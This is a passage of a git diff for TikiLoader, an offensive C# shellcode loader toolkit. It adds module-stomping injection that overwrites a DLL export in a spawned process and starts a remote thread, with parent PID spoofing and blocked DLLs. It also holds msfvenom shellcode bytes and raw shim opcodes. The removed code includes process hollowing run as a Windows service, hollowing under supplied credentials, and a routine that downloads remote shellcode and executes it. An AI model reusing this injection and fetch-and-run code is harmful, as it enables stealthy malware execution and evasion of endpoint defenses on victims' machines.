using var process = Process.GetProcessById((int)pi.dwProcessId); + return process.Modules.Cast().Any(module => module.ModuleName.Equals(ModuleName)); + } + + private bool WriteAndExecuteShellcode(Data.Win32.Kernel32.PROCESS_INFORMATION pi, byte[] shellcode) + { + // Calculate offset from base to exported function + var hModule = Generic.LoadModuleFromDisk(ModuleName); + var export = Generic.GetExportAddress(hModule, ExportName); + var offset = (long)export - (long)hModule; + + var targetAddress = IntPtr.Zero; + using var process = Process.GetProcessById((int)pi.dwProcessId); + + foreach (ProcessModule module in process.Modules) + { + if (!module.ModuleName.Equals(ModuleName, StringComparison.OrdinalIgnoreCase)) continue; + + targetAddress = new IntPtr((long)module.BaseAddress + offset); + break; + } + + // Write and execute shellcode + var buffer = Marshal.AllocHGlobal(shellcode.Length); + Marshal.Copy(shellcode, 0, buffer, shellcode.Length); + + var size = new IntPtr(shellcode.Length); + Native.NtProtectVirtualMemory( + process.Handle, + ref targetAddress, + ref size, + Data.Win32.WinNT.PAGE_READWRITE); + + Native.NtWriteVirtualMemory( + process.Handle, + targetAddress, + buffer, + (uint)shellcode.Length); + + Native.NtProtectVirtualMemory( + process.Handle, + ref targetAddress, + ref size, + Data.Win32.WinNT.PAGE_EXECUTE_READ); + + Marshal.FreeHGlobal(buffer); + + var hThread = IntPtr.Zero; + Native.NtCreateThreadEx( + ref hThread, + Data.Win32.WinNT.ACCESS_MASK.MAXIMUM_ALLOWED, + IntPtr.Zero, + process.Handle, + targetAddress, + IntPtr.Zero, + false, + 0, + 0, + 0, + IntPtr.Zero); + + return hThread != IntPtr.Zero; + } + + private byte[] GenerateShim(long loadLibraryExP) + { + using var ms = new MemoryStream(); + using var bw = new BinaryWriter(ms); + + if (Is64Bit) + { + bw.Write((ulong)loadLibraryExP); + var loadLibraryExBytes = ms.ToArray(); + + return new byte[] { + 0x48, 0xB8, loadLibraryExBytes[0], loadLibraryExBytes[1], loadLibraryExBytes[2], loadLibraryExBytes[3], loadLibraryExBytes[4], loadLibraryExBytes[5], loadLibraryExBytes[6],loadLibraryExBytes[7], + 0x49, 0xC7, 0xC0, 0x01, 0x00, 0x00, 0x00, + 0x48, 0x31, 0xD2, + 0xFF, 0xE0 + }; + } + else + { + bw.Write((uint)loadLibraryExP); + var loadLibraryExBytes = ms.ToArray(); + + return new byte[] { + 0xB8, loadLibraryExBytes[0], loadLibraryExBytes[1], loadLibraryExBytes[2], loadLibraryExBytes[3], + 0x6A, 0x01, + 0x6A, 0x00, + 0xFF, 0x74, 0x24, 0x0c, + 0xFF, 0xD0, + 0xC2, 0x0C, 0x00 + }; + } + } + } +} \ No newline at end of file diff --git a/TikiLoader/Structs.cs b/TikiLoader/Structs.cs deleted file mode 100644 index 38f4bf0..0000000 --- a/TikiLoader/Structs.cs +++ /dev/null @@ -1,154 +0,0 @@ -using System; -using System.Runtime.InteropServices; - -namespace TikiLoader -{ - public class Structs - { - [StructLayout(LayoutKind.Sequential)] - public struct PROCESS_INFORMATION - { - public IntPtr hProcess; - public IntPtr hThread; - public int dwProcessId; - public int dwThreadId; - } - - [StructLayout(LayoutKind.Sequential)] - public struct PROCESS_BASIC_INFORMATION - { - public IntPtr Reserved1; - public IntPtr PebAddress; - public IntPtr Reserved2; - public IntPtr Reserved3; - public IntPtr UniquePid; - public IntPtr MoreReserved; - } - - [StructLayout(LayoutKind.Sequential)] - public struct STARTUPINFO - { - public uint cb; - public IntPtr lpReserved; - public IntPtr lpDesktop; - public IntPtr lpTitle; - public uint dwX; - public uint dwY; - public uint dwXSize; - public uint dwYSize; - public uint dwXCountChars; - public uint dwYCountChars; - public uint dwFillAttributes; - public uint dwFlags; - public ushort wShowWindow; - public ushort cbReserved; - public IntPtr lpReserved2; - public IntPtr hStdInput; - public IntPtr hStdOutput; - public IntPtr hStdErr; - } - - [StructLayout(LayoutKind.Sequential)] - public struct STARTUPINFOEX - { - public STARTUPINFO StartupInfo; - public IntPtr lpAttributeList; - } - - [StructLayout(LayoutKind.Sequential)] - public struct SECURITY_ATTRIBUTES - { - public int nLength; - public IntPtr lpSecurityDescriptor; - public int bInheritHandle; - } - - [StructLayout(LayoutKind.Sequential)] - public struct SYSTEM_INFO - { - public uint dwOem; - public uint dwPageSize; - public IntPtr lpMinAppAddress; - public IntPtr lpMaxAppAddress; - public IntPtr dwActiveProcMask; - public uint dwNumProcs; - public uint dwProcType; - public uint dwAllocGranularity; - public ushort wProcLevel; - public ushort wProcRevision; - } - - [StructLayout(LayoutKind.Sequential, Pack = 1)] - public struct LARGE_INTEGER - { - public uint LowPart; - public int HighPart; - } - - [StructLayout(LayoutKind.Sequential)] - public struct SHELLEXECUTEINFO - { - public int cbSize; - public uint fMask; - public IntPtr hwnd; - [MarshalAs(UnmanagedType.LPTStr)] - public string lpVerb; - [MarshalAs(UnmanagedType.LPTStr)] - public string lpFile; - [MarshalAs(UnmanagedType.LPTStr)] - public string lpParameters; - [MarshalAs(UnmanagedType.LPTStr)] - public string lpDirectory; - public int nShow; - public IntPtr hInstApp; - public IntPtr lpIDList; - [MarshalAs(UnmanagedType.LPTStr)] - public string lpClass; - public IntPtr hkeyClass; - public uint dwHotKey; - public IntPtr hIcon; - public IntPtr hProcess; - } - - public struct SID_IDENTIFIER_AUTHORITY - { - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 6)] - public byte[] Value; - public SID_IDENTIFIER_AUTHORITY(byte[] value) - { - Value = value; - } - } - - [StructLayout(LayoutKind.Sequential)] - public struct SID_AND_ATTRIBUTES - { - public IntPtr Sid; - public UInt32 Attributes; - } - - [StructLayout(LayoutKind.Sequential)] - public struct TOKEN_MANDATORY_LABEL - { - public SID_AND_ATTRIBUTES Label; - } - - [StructLayout(LayoutKind.Sequential)] - public struct CLIENT_ID - { - public int UniqueProcess; - public int UniqueThread; - } - - [StructLayout(LayoutKind.Sequential)] - public struct THREAD_BASIC_INFORMATION - { - public int ExitStatus; - public IntPtr TebBaseAddress; - public CLIENT_ID ClientId; - public IntPtr AffinityMask; - public int Priority; - public int BasePriority; - } - } -} \ No newline at end of file diff --git a/TikiLoader/TikiLoader.csproj b/TikiLoader/TikiLoader.csproj index f226bf7..0b739a2 100644 --- a/TikiLoader/TikiLoader.csproj +++ b/TikiLoader/TikiLoader.csproj @@ -9,9 +9,10 @@ Properties TikiLoader TikiLoader - v4.5 + v4.7.2 512 true + 10 true @@ -43,13 +44,13 @@ - + + - - - + + - + \ No newline at end of file diff --git a/TikiLoader/Win32.cs b/TikiLoader/Win32.cs new file mode 100644 index 0000000..d053ef0 --- /dev/null +++ b/TikiLoader/Win32.cs @@ -0,0 +1,52 @@ +using System; +using System.IO; + +namespace TikiLoader +{ + public static class Win32 + { + public static bool InitializeProcThreadAttributeList(IntPtr lpAttributeList, int dwAttributeCount, ref IntPtr lpSize) + { + object[] parameters = { lpAttributeList, dwAttributeCount, 0, lpSize }; + var retVal = (bool)Generic.DynamicApiInvoke("kernel32.dll", "InitializeProcThreadAttributeList", typeof(Delegates.InitializeProcThreadAttributeList), ref parameters); + + lpSize = (IntPtr)parameters[3]; + return retVal; + } + + public static bool UpdateProcThreadAttribute(IntPtr lpAttributeList, IntPtr attribute, IntPtr lpValue) + { + object[] parameters = { lpAttributeList, (uint)0, attribute, lpValue, (IntPtr)IntPtr.Size, IntPtr.Zero, IntPtr.Zero }; + var retVal = (bool)Generic.DynamicApiInvoke("kernel32.dll", "UpdateProcThreadAttribute", typeof(Delegates.UpdateProcThreadAttribute), ref parameters); + return retVal; + } + + public static bool DeleteProcThreadAttribute(IntPtr lpAttributeList) + { + object[] parameters = { lpAttributeList }; + var retVal = (bool)Generic.DynamicApiInvoke("kernel32.dll", "DeleteProcThreadAttributeList", typeof(Delegates.DeleteProcThreadAttributeList), ref parameters); + return retVal; + } + + public static bool CreateProcessA(string applicationName, string workingDirectory, uint creationFlags, Data.Win32.Kernel32.STARTUPINFOEX startupInfoEx, out Data.Win32.Kernel32.PROCESS_INFORMATION processInformation) + { + var pa = new Data.Win32.WinBase.SECURITY_ATTRIBUTES(); + var ta = new Data.Win32.WinBase.SECURITY_ATTRIBUTES(); + var pi = new Data.Win32.Kernel32.PROCESS_INFORMATION(); + + object[] parameters = { applicationName, null, pa, ta, false, creationFlags, IntPtr.Zero, workingDirectory, startupInfoEx, pi }; + var result = (bool)Generic.DynamicApiInvoke(@"kernel32.dll", @"CreateProcessA", typeof(Delegates.CreateProcessA), ref parameters); + + if (!result) processInformation = pi; + + processInformation = (Data.Win32.Kernel32.PROCESS_INFORMATION)parameters[9]; + return result; + } + + public static uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds) + { + object[] parameters = { hHandle, dwMilliseconds }; + return (uint)Generic.DynamicApiInvoke(@"kernel32.dll", @"WaitForSingleObject", typeof(Delegates.WaitForSingleObject), ref parameters); + } + } +} \ No newline at end of file diff --git a/TikiService/App.config b/TikiService/App.config deleted file mode 100644 index bea5d4b..0000000 --- a/TikiService/App.config +++ /dev/null @@ -1,10 +0,0 @@ - - - - - - - - - - \ No newline at end of file diff --git a/TikiService/FodyWeavers.xml b/TikiService/FodyWeavers.xml deleted file mode 100644 index 5029e70..0000000 --- a/TikiService/FodyWeavers.xml +++ /dev/null @@ -1,3 +0,0 @@ - - - \ No newline at end of file diff --git a/TikiService/FodyWeavers.xsd b/TikiService/FodyWeavers.xsd deleted file mode 100644 index 44a5374..0000000 --- a/TikiService/FodyWeavers.xsd +++ /dev/null @@ -1,111 +0,0 @@ - - - - - - - - - - - - A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks - - - - - A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. - - - - - A list of unmanaged 32 bit assembly names to include, delimited with line breaks. - - - - - A list of unmanaged 64 bit assembly names to include, delimited with line breaks. - - - - - The order of preloaded assemblies, delimited with line breaks. - - - - - - This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. - - - - - Controls if .pdbs for reference assemblies are also embedded. - - - - - Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. - - - - - As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. - - - - - Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. - - - - - Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. - - - - - A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | - - - - - A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. - - - - - A list of unmanaged 32 bit assembly names to include, delimited with |. - - - - - A list of unmanaged 64 bit assembly names to include, delimited with |. - - - - - The order of preloaded assemblies, delimited with |. - - - - - - - - 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed. - - - - - A comma-separated list of error codes that can be safely ignored in assembly verification. - - - - - 'false' to turn off automatic generation of the XML Schema file. - - - - - \ No newline at end of file diff --git a/TikiService/Program.cs b/TikiService/Program.cs deleted file mode 100644 index 76729e9..0000000 --- a/TikiService/Program.cs +++ /dev/null @@ -1,25 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.ServiceProcess; -using System.Text; -using System.Threading.Tasks; - -namespace TikiService -{ - static class Program - { - /// - /// The main entry point for the application. - /// - static void Main() - { - ServiceBase[] ServicesToRun; - ServicesToRun = new ServiceBase[] - { - new TikiService() - }; - ServiceBase.Run(ServicesToRun); - } - } -} diff --git a/TikiService/Properties/AssemblyInfo.cs b/TikiService/Properties/AssemblyInfo.cs deleted file mode 100644 index 8ab594b..0000000 --- a/TikiService/Properties/AssemblyInfo.cs +++ /dev/null @@ -1,36 +0,0 @@ -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -// General Information about an assembly is controlled through the following -// set of attributes. Change these attribute values to modify the information -// associated with an assembly. -[assembly: AssemblyTitle("TikiService")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("TikiService")] -[assembly: AssemblyCopyright("Copyright © 2019")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCulture("")] - -// Setting ComVisible to false makes the types in this assembly not visible -// to COM components. If you need to access a type in this assembly from -// COM, set the ComVisible attribute to true on that type. -[assembly: ComVisible(false)] - -// The following GUID is for the ID of the typelib if this project is exposed to COM -[assembly: Guid("fc700ac6-5182-421f-8853-0ad18cdbeb39")] - -// Version information for an assembly consists of the following four values: -// -// Major Version -// Minor Version -// Build Number -// Revision -// -// You can specify all the values or you can default the Build and Revision Numbers -// by using the '*' as shown below: -// [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/TikiService/TikiService.Designer.cs b/TikiService/TikiService.Designer.cs deleted file mode 100644 index 7068a6f..0000000 --- a/TikiService/TikiService.Designer.cs +++ /dev/null @@ -1,37 +0,0 @@ -namespace TikiService -{ - partial class TikiService - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Component Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - components = new System.ComponentModel.Container(); - this.ServiceName = "Service1"; - } - - #endregion - } -} diff --git a/TikiService/TikiService.cs b/TikiService/TikiService.cs deleted file mode 100644 index c684694..0000000 --- a/TikiService/TikiService.cs +++ /dev/null @@ -1,37 +0,0 @@ -using System; -using System.Configuration; -using System.ServiceProcess; - -using TikiLoader; - -namespace TikiService -{ - public partial class TikiService : ServiceBase - { - public TikiService() - { - InitializeComponent(); - } - - protected override void OnStart(string[] args) - { - try - { - var settings = ConfigurationManager.AppSettings; - string binary = settings["Binary"]; - byte[] shellcode = Convert.FromBase64String(settings["Shellcode"]); - - var hollower = new Hollower(); - hollower.HollowWithoutPid(binary, shellcode); - } - catch - { - //pokemon - } - } - - protected override void OnStop() - { - } - } -} \ No newline at end of file diff --git a/TikiService/TikiService.csproj b/TikiService/TikiService.csproj deleted file mode 100644 index b5fdfad..0000000 --- a/TikiService/TikiService.csproj +++ /dev/null @@ -1,84 +0,0 @@ - - - - - - Debug - AnyCPU - {FC700AC6-5182-421F-8853-0AD18CDBEB39} - WinExe - TikiService - TikiService - v4.5 - 512 - true - - - - - AnyCPU - true - full - true - bin\Debug\ - - - prompt - 4 - false - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - false - - - - ..\packages\Costura.Fody.4.1.0\lib\net40\Costura.dll - - - - - - - - - - - - - - - Component - - - TikiService.cs - - - - - - - - - - - {806c6c72-4adc-43d9-b028-6872fa48d334} - TikiLoader - - - - - - - This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. - - - - - \ No newline at end of file diff --git a/TikiService/packages.config b/TikiService/packages.config deleted file mode 100644 index 01e2767..0000000 --- a/TikiService/packages.config +++ /dev/null @@ -1,5 +0,0 @@ - - - - - \ No newline at end of file diff --git a/TikiSpawn/App.config b/TikiSpawn/App.config deleted file mode 100644 index 8e15646..0000000 --- a/TikiSpawn/App.config +++ /dev/null @@ -1,6 +0,0 @@ - - - - - - \ No newline at end of file diff --git a/TikiSpawn/FodyWeavers.xml b/TikiSpawn/FodyWeavers.xml deleted file mode 100644 index a5dcf04..0000000 --- a/TikiSpawn/FodyWeavers.xml +++ /dev/null @@ -1,4 +0,0 @@ - - - - \ No newline at end of file diff --git a/TikiSpawn/FodyWeavers.xsd b/TikiSpawn/FodyWeavers.xsd deleted file mode 100644 index 44a5374..0000000 --- a/TikiSpawn/FodyWeavers.xsd +++ /dev/null @@ -1,111 +0,0 @@ - - - - - - - - - - - - A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks - - - - - A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. - - - - - A list of unmanaged 32 bit assembly names to include, delimited with line breaks. - - - - - A list of unmanaged 64 bit assembly names to include, delimited with line breaks. - - - - - The order of preloaded assemblies, delimited with line breaks. - - - - - - This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. - - - - - Controls if .pdbs for reference assemblies are also embedded. - - - - - Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. - - - - - As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. - - - - - Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. - - - - - Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. - - - - - A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | - - - - - A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. - - - - - A list of unmanaged 32 bit assembly names to include, delimited with |. - - - - - A list of unmanaged 64 bit assembly names to include, delimited with |. - - - - - The order of preloaded assemblies, delimited with |. - - - - - - - - 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed. - - - - - A comma-separated list of error codes that can be safely ignored in assembly verification. - - - - - 'false' to turn off automatic generation of the XML Schema file. - - - - - \ No newline at end of file diff --git a/TikiSpawn/Program.cs b/TikiSpawn/Program.cs index 090e9c9..09933b5 100644 --- a/TikiSpawn/Program.cs +++ b/TikiSpawn/Program.cs @@ -1,62 +1,49 @@ -using System; -using System.Net; -using System.Diagnostics; -using System.Runtime.InteropServices; +using System.Diagnostics; using TikiLoader; -[ComVisible(true)] -public class TikiSpawn +namespace TikiSpawn { - - public TikiSpawn() + internal static class Program { - Flame(@"", @""); - } - - private static byte[] GetShellcode(string url) - { - WebClient client = new WebClient(); - client.Proxy = WebRequest.GetSystemWebProxy(); - client.Proxy.Credentials = CredentialCache.DefaultCredentials; - string compressedEncodedShellcode = client.DownloadString(url); - return Generic.DecompressShellcode(Convert.FromBase64String(compressedEncodedShellcode)); - } - - private static int FindProcessPid(string process) - { - int pid = 0; - int session = Process.GetCurrentProcess().SessionId; - Process[] processes = Process.GetProcessesByName(process); - - foreach (Process proc in processes) + // $ msfvenom -p windows/x64/messagebox -f csharp + private static byte[] _shellcode = { - if (proc.SessionId == session) + 0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51, + 0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48, + 0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,0x3e,0x48, + 0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02, + 0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e, + 0x48,0x8b,0x52,0x20,0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88, + 0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,0x8b,0x48, + 0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x5c,0x48,0xff,0xc9,0x3e, + 0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41, + 0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24, + 0x08,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0, + 0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x3e, + 0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41, + 0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41, + 0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x49,0xc7,0xc1, + 0x00,0x00,0x00,0x00,0x3e,0x48,0x8d,0x95,0xfe,0x00,0x00,0x00,0x3e,0x4c,0x8d, + 0x85,0x0f,0x01,0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff, + 0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x48,0x65,0x6c, + 0x6c,0x6f,0x2c,0x20,0x66,0x72,0x6f,0x6d,0x20,0x4d,0x53,0x46,0x21,0x00,0x4d, + 0x65,0x73,0x73,0x61,0x67,0x65,0x42,0x6f,0x78,0x00 + }; + + private static void Main(string[] args) + { + var stomper = new Stomper { - pid = proc.Id; - } - } - - return pid; - } - - private void Flame(string binary, string url) - { - byte[] shellcode = GetShellcode(url); - int ppid = FindProcessPid("explorer"); - - if (ppid != 0) - { - try - { - var hollower = new Hollower(); - hollower.Hollow(binary, shellcode, ppid); - } - catch { } - } - else - { - Environment.Exit(1); + BinaryPath = @"C:\Windows\System32\notepad.exe", + WorkingDirectory = @"C:\Windows\System32", + ModuleName = "xpsservices.dll", + ExportName = "DllCanUnloadNow", + ParentId = Process.GetProcessesByName("explorer")[0].Id, + BlockDlls = true + }; + + stomper.Stomp(_shellcode); } } } \ No newline at end of file diff --git a/TikiSpawn/Properties/AssemblyInfo.cs b/TikiSpawn/Properties/AssemblyInfo.cs index f3d4024..abf16b3 100644 --- a/TikiSpawn/Properties/AssemblyInfo.cs +++ b/TikiSpawn/Properties/AssemblyInfo.cs @@ -1,36 +1,35 @@ using System.Reflection; -using System.Runtime.CompilerServices; using System.Runtime.InteropServices; -// General Information about an assembly is controlled through the following +// General Information about an assembly is controlled through the following // set of attributes. Change these attribute values to modify the information // associated with an assembly. -[assembly: AssemblyTitle("TikiScript")] +[assembly: AssemblyTitle("TikiSpawn")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("TikiScript")] -[assembly: AssemblyCopyright("Copyright © 2019")] +[assembly: AssemblyProduct("TikiSpawn")] +[assembly: AssemblyCopyright("Copyright © 2021")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] -// Setting ComVisible to false makes the types in this assembly not visible -// to COM components. If you need to access a type in this assembly from +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from // COM, set the ComVisible attribute to true on that type. [assembly: ComVisible(false)] // The following GUID is for the ID of the typelib if this project is exposed to COM -[assembly: Guid("2ef9d8f7-6b77-4b75-822b-6a53a922c30f")] +[assembly: Guid("50FFBFAD-6B98-493D-B93B-2E252FC1EF9C")] // Version information for an assembly consists of the following four values: // // Major Version -// Minor Version +// Minor Version // Build Number // Revision // -// You can specify all the values or you can default the Build and Revision Numbers +// You can specify all the values or you can default the Build and Revision Numbers // by using the '*' as shown below: // [assembly: AssemblyVersion("1.0.*")] [assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] \ No newline at end of file diff --git a/TikiSpawn/TikiSpawn.csproj b/TikiSpawn/TikiSpawn.csproj index 89d921e..4de8948 100644 --- a/TikiSpawn/TikiSpawn.csproj +++ b/TikiSpawn/TikiSpawn.csproj @@ -1,79 +1,62 @@  - - - - - Debug - AnyCPU - {2EF9D8F7-6B77-4B75-822B-6A53A922C30F} - Library - TikiSpawn - TikiSpawn - v4.5 - 512 - true - - - - - AnyCPU - true - full - true - bin\Debug\ - - - prompt - 4 - false - true - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - ..\packages\Costura.Fody.3.3.3\lib\net40\Costura.dll - - - - - - - - - - - - - - - - - - - - - {806c6c72-4adc-43d9-b028-6872fa48d334} - TikiLoader - - - - - + + - This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. + Debug + AnyCPU + {50FFBFAD-6B98-493D-B93B-2E252FC1EF9C} + Exe + Properties + TikiSpawn + TikiSpawn + v4.8 + 512 + 10 - - - - \ No newline at end of file + + AnyCPU + true + full + false + bin\Debug\ + DEBUG;TRACE + prompt + 4 + false + + + AnyCPU + pdbonly + true + bin\Release\ + TRACE + prompt + 4 + false + + + + + + + + + + + + + + {806c6c72-4adc-43d9-b028-6872fa48d334} + TikiLoader + + + + + + diff --git a/TikiSpawn/packages.config b/TikiSpawn/packages.config deleted file mode 100644 index b1a4280..0000000 --- a/TikiSpawn/packages.config +++ /dev/null @@ -1,5 +0,0 @@ - - - - - \ No newline at end of file diff --git a/TikiSpawnAs/App.config b/TikiSpawnAs/App.config deleted file mode 100644 index 8e15646..0000000 --- a/TikiSpawnAs/App.config +++ /dev/null @@ -1,6 +0,0 @@ - - - - - - \ No newline at end of file diff --git a/TikiSpawnAs/FodyWeavers.xml b/TikiSpawnAs/FodyWeavers.xml deleted file mode 100644 index a5dcf04..0000000 --- a/TikiSpawnAs/FodyWeavers.xml +++ /dev/null @@ -1,4 +0,0 @@ - - - - \ No newline at end of file diff --git a/TikiSpawnAs/FodyWeavers.xsd b/TikiSpawnAs/FodyWeavers.xsd deleted file mode 100644 index 44a5374..0000000 --- a/TikiSpawnAs/FodyWeavers.xsd +++ /dev/null @@ -1,111 +0,0 @@ - - - - - - - - - - - - A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks - - - - - A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. - - - - - A list of unmanaged 32 bit assembly names to include, delimited with line breaks. - - - - - A list of unmanaged 64 bit assembly names to include, delimited with line breaks. - - - - - The order of preloaded assemblies, delimited with line breaks. - - - - - - This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. - - - - - Controls if .pdbs for reference assemblies are also embedded. - - - - - Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. - - - - - As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. - - - - - Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. - - - - - Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. - - - - - A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | - - - - - A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. - - - - - A list of unmanaged 32 bit assembly names to include, delimited with |. - - - - - A list of unmanaged 64 bit assembly names to include, delimited with |. - - - - - The order of preloaded assemblies, delimited with |. - - - - - - - - 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed. - - - - - A comma-separated list of error codes that can be safely ignored in assembly verification. - - - - - 'false' to turn off automatic generation of the XML Schema file. - - - - - \ No newline at end of file diff --git a/TikiSpawnAs/Program.cs b/TikiSpawnAs/Program.cs deleted file mode 100644 index 73e2449..0000000 --- a/TikiSpawnAs/Program.cs +++ /dev/null @@ -1,53 +0,0 @@ -using System; -using NDesk.Options; - -using TikiLoader; - -namespace TikiSpawnAs -{ - class Program - { - static void Main(string[] args) - { - string binary = null; - string domain = null; - string username = null; - string password = null; - bool help = false; - - byte[] shellcode = Generic.DecompressShellcode(Convert.FromBase64String("")); - - var options = new OptionSet() - { - { "d|domain=", "Domain (defaults to local machine)", v => domain = v }, - { "u|username=", "Username", v => username = v }, - { "p|password=", "Password", v => password = v }, - { "b|binary=", "Binary to spawn & inject", v => binary = v }, - { "h|?|help", "Show this help", v => help = true } - }; - - try - { - options.Parse(args); - - if (help || username == null || password == null || binary == null) - { - options.WriteOptionDescriptions(Console.Out); - return; - } - else - { - if (domain == null) - domain = "."; - - var hollower = new Hollower(); - hollower.HollowAs(binary, shellcode, domain, username, password); - } - } - catch (Exception e) - { - Console.WriteLine(" [x] {0}", e.Message); - } - } - } -} \ No newline at end of file diff --git a/TikiSpawnAs/Properties/AssemblyInfo.cs b/TikiSpawnAs/Properties/AssemblyInfo.cs deleted file mode 100644 index cb1d81b..0000000 --- a/TikiSpawnAs/Properties/AssemblyInfo.cs +++ /dev/null @@ -1,36 +0,0 @@ -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -// General Information about an assembly is controlled through the following -// set of attributes. Change these attribute values to modify the information -// associated with an assembly. -[assembly: AssemblyTitle("TikiSpawnAs")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("TikiSpawnAs")] -[assembly: AssemblyCopyright("Copyright © 2019")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCulture("")] - -// Setting ComVisible to false makes the types in this assembly not visible -// to COM components. If you need to access a type in this assembly from -// COM, set the ComVisible attribute to true on that type. -[assembly: ComVisible(false)] - -// The following GUID is for the ID of the typelib if this project is exposed to COM -[assembly: Guid("97421325-b6d8-49e5-adf0-e2126abc17ee")] - -// Version information for an assembly consists of the following four values: -// -// Major Version -// Minor Version -// Build Number -// Revision -// -// You can specify all the values or you can default the Build and Revision Numbers -// by using the '*' as shown below: -// [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] diff --git 